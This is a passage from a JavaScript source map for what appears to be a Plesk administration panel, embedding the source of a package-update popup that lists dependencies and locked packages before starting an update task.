});\n }\n}\n","// Copyright 1999-2025. WebPros International GmbH. All rights reserved.\n\nimport { getComponent, prepareUrl, render, createElement, Locale } from 'jsw';\nimport PopupPackagesBase from './popup-packages-base';\n\nexport default class extends PopupPackagesBase {\n _initConfiguration(config) {\n super._initConfiguration({\n showLockStatus: true,\n ...config,\n });\n this._onSuccess = this._getConfigParam('onSuccess');\n }\n\n render() {\n super.render();\n\n this.setBoxType('form-box');\n this.setTitle(this.lmsg('popupUpdateTitle'));\n this._updateButton(this._buttonOk, { disabled: true });\n\n document.getElementById(this._contentAreaId).innerHTML = `<div class=\"ajax-loading\">${this.lmsg('loading')}</div>`;\n\n this._request = new Ajax.Request(\n prepareUrl(this._urls.packageUpdateInfo),\n {\n method: 'post',\n parameters: {\n 'ids[]': this._getPackagesIds(),\n },\n onSuccess: transport => {\n const response = JSON.parse(transport.responseText);\n\n if (!response.data) {\n document.getElementById(this._contentAreaId).innerHTML = '';\n if (response.statusMessages) {\n response.statusMessages.forEach(({ status, content }) => {\n this._addStatusMessage(status, content);\n });\n }\n return;\n }\n\n if (!response.data.length) {\n document.getElementById(this._contentAreaId).innerHTML = '';\n this._addStatusMessage('info', this.lmsg('selectedPackagesUpToDate'));\n this._buttonOk.style.display = 'none';\n this._updateButton(this._buttonCancel, { title: Locale.getSection('components.buttons').lmsg('ok') });\n return;\n }\n\n document.getElementById(this._contentAreaId).innerHTML = (\n `<p>${this.lmsg('popupUpdatePackagesListTitle')}</p>` +\n `<ul class=\"list-unordered\">${this._packages.map(this._getPackageHtml.bind(this)).join('')}</ul>`\n );\n\n const packagesIds = this._getPackagesIds();\n const dependencies = response.data.filter(({ name }) => packagesIds.indexOf(name) === -1);\n\n if (dependencies.length) {\n render(document.getElementById(this._contentAreaId), [\n createElement('p', createElement('a', {\n class: 'toggler',\n onclick: event => {\n event.preventDefault();\n const dependenciesEl = event.target.closest('p').nextElementSibling;\n dependenciesEl.style.display = dependenciesEl.style.display === 'none' ? '' : 'none';\n },\n }, this.lmsg('popupUpdateDependencies', { count: dependencies.length }))),\n createElement('ul', { class: 'list-unordered', style: 'display: none;' }, dependencies.map(this._getPackageHtml.bind(this))),\n ]);\n }\n\n const lockedPackages = response.data.filter(({ locked }) => locked);\n if (lockedPackages.length) {\n render(document.getElementById(this._contentAreaId), (\n '<hr>' +\n '<div class=\"b-indent\">' +\n '<span class=\"b-indent-icon\"><i class=\"icon-warning\"></i></span>' +\n `<p>${this.lmsg('popupUpdateLockedPackagesListTitle')}</p>` +\n `<ul class=\"list-unordered\">${lockedPackages.map(this._getPackageHtml.bind(this)).join('')}</ul>` +\n '</div>' +\n '<div class=\"form-row\">' +\n '<div class=\"single-row\">' +\n '<div class=\"indent-box\">' +\n '<input id=\"fid-unlock-packages\" type=\"checkbox\" class=\"checkbox\" >' +\n '<div class=\"indent-box-content\">' +\n `<label for=\"fid-unlock-packages\">${this.lmsg('unlockPackagesForUpdateOnly')}</label>` +\n '</div>' +\n '</div>' +\n '</div>' +\n '</div>'\n ));\n const unlockPackagesEl = document.getElementById('fid-unlock-packages');\n unlockPackagesEl.addEventListener('click', () => {\n this._updateButton(this._buttonOk, { disabled: !unlockPackagesEl.checked });\n });\n } else {\n this._updateButton(this._buttonOk, { disabled: false });\n }\n },\n },\n );\n }\n\n _onOkClick(event) {\n const updateUrl = this._urls.updatePackages;\n const progressBar = getComponent('asyncProgressBarWrapper');\n const itemId = progressBar.fly(\n Element.cumulativeOffset(event.target),\n this.lmsg('taskUpdatingPackages', {\n count: this._packages.length,\n }),\n () => {\n new Ajax.Request(prepareUrl(updateUrl), {\n method: 'post',\n parameters: {\n 'ids[]': this._getPackagesIds(),\n },\n onSuccess: transport => {\n if (typeof this._onSuccess === 'function') {\n this._onSuccess(JSON.parse(transport.responseText));\n }\n\n progressBar.removePreparingItem(itemId);\n progressBar.update();\n },\n });\n },\n );\n this.remove();\n this.hide();\n }\n\n hide() {\n if (this._request) {\n this._request.abort();\n }\n super.hide();\n }\n}\n","module.exports = Jsw.skinUrl + \"/images/system-up-to-date.svg?f6e07857b1a4868c807e40e850371add\";"],"names":["List","PopupPackagesUpdate","locale","Locale","getSection","_initConfiguration","updatesOnly","config","super","dataUrl","searchOveral","emptyViewMode","undefined","onRedraw","this","_renderAlert","_urls","_getConfigParam","_updatesOnly","_initActions","_initOperations","_initColumns","_itemActions","packageInfo","name","PopupPackageInfo","url","packageName","packageUpdate","item","urls","packages","packageLock","PopupPackagesLock","list","packageUnlock","PopupPackagesUnlock","_operations","updatePackages","push","componentType","SmallButton","id","title","lmsg","description","addCls","handler","event","execGroupOperation","mouseEvent","confirmationPopup","getSelectedItems","bar","Separator","lock","unlock","checkUpdates","bind","_columns","COLUMN_SELECTION","header","sortable","dataIndex","renderer","version_from","repo_from","escapeHtml","cls","locked","update","version_to","repo_to","version","emptyView","_jsx","ListEmptyView","_additionalData","lastChecked","date","image","require","actions","Button","intent","size","icon","onClick","e","children","availableUpdates","length","_componentElement","parentNode","querySelectorAll","forEach","el","removeChild","render","ce","role","count","onclick","preventDefault","reload","PopupForm","singleRowButtons","_url","_packageName","setBoxType","setTitle","package","document","getElementById","_contentAreaId","innerHTML","_request","Ajax","Request","prepareUrl","method","parameters","onSuccess","transport","response","JSON","parse","responseText","data","statusMessages","status","content","_addStatusMessage","addRightButton","hide","abort","scrollable","showLockStatus","_packages","_list","_showLockStatus","_getPackagesIds","map","pkg","_buttonOk","_onOkClick","_buttonCancel","remove","_getPackageHtml","PopupPackagesBase","setHint","join","clearStatusMessages","addStatusMessage","_onSuccess","_updateButton","disabled","packageUpdateInfo","style","display","packagesIds","dependencies","filter","indexOf","createElement","class","dependenciesEl","target","closest","nextElementSibling","lockedPackages","unlockPackagesEl","addEventListener","checked","updateUrl","progressBar","getComponent","itemId","fly","Element","cumulativeOffset","removePreparingItem","module","exports","Jsw","skinUrl"],"sourceRoot":""}
Simpan